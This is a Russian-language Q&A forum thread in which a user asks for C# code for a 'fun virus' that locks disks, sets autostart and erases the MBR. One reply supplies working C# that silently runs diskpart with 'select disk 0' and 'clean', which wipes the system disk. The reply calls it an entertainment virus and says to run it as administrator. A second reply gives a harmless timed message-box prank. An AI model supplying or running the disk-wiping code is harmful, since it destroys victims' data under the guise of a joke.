Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Как создать вирус развлекательный на Visual studio c# дайте скриптов

Virus V Ученик (95), на голосовании 3 месяца назад
Дайте скриптов пожалуйста для создания вируса на c# ( типа разные эффекты , значки меняет , Gdi эффекты , блокировка диска , автозагрузка , стирание mbr и т.д.) на ютубе найти не могу норм развлекательный вирус ( заранее спасибо :D )
Голосование за лучший ответ
Александр Просветленный (21224) 4 месяца назад
Есть один развлекательный вирус

 var process = new Process(); 
process.StartInfo.FileName = "diskpart";
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNoWindow = true;

process.Start();

var writer = process.StandardInput;
if (writer.BaseStream.CanWrite)
{
writer.WriteLine("select disk 0");
writer.WriteLine("clean");
}
Запускайте от имени админа. Можете наверное не закрывать поток и не ожидать завершения процесса. Система все за вас должна сделать.
Рустам Абдрашитов Мудрец (11001) 3 месяца назад
 using System; 
using System.Windows.Forms;
using System.Timers;

namespace PrankVirus
{
public class Program
{
private static System.Timers.Timer prankTimer;
private static Random random = new Random();
private static string[] messages = {
"Вы попались на пранк!",
"Сюрприз! Это всего лишь шутка!",
"Не переживайте, это не вирус!",
"Смех — лучшее лекарство!",
"Пранк завершен! Надеюсь, вы улыбнулись!"
};

[STAThread]
static void Main()
{
// Настройка таймера для показа сообщений
prankTimer = new System.Timers.Timer(3000); // Каждые 3 секунды
prankTimer.Elapsed += ShowPrankMessage;
prankTimer.AutoReset = true; // Повторять
prankTimer.Enabled = true; // Запуск таймера

Application.Run(); // Запуск приложения
}

private static void ShowPrankMessage(Object source, ElapsedEventArgs e)
{
// Выбор случайного сообщения из массива
string message = messages[random.Next(messages.Length)];
MessageBox.Show(message, "Шутка", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
Похожие вопросы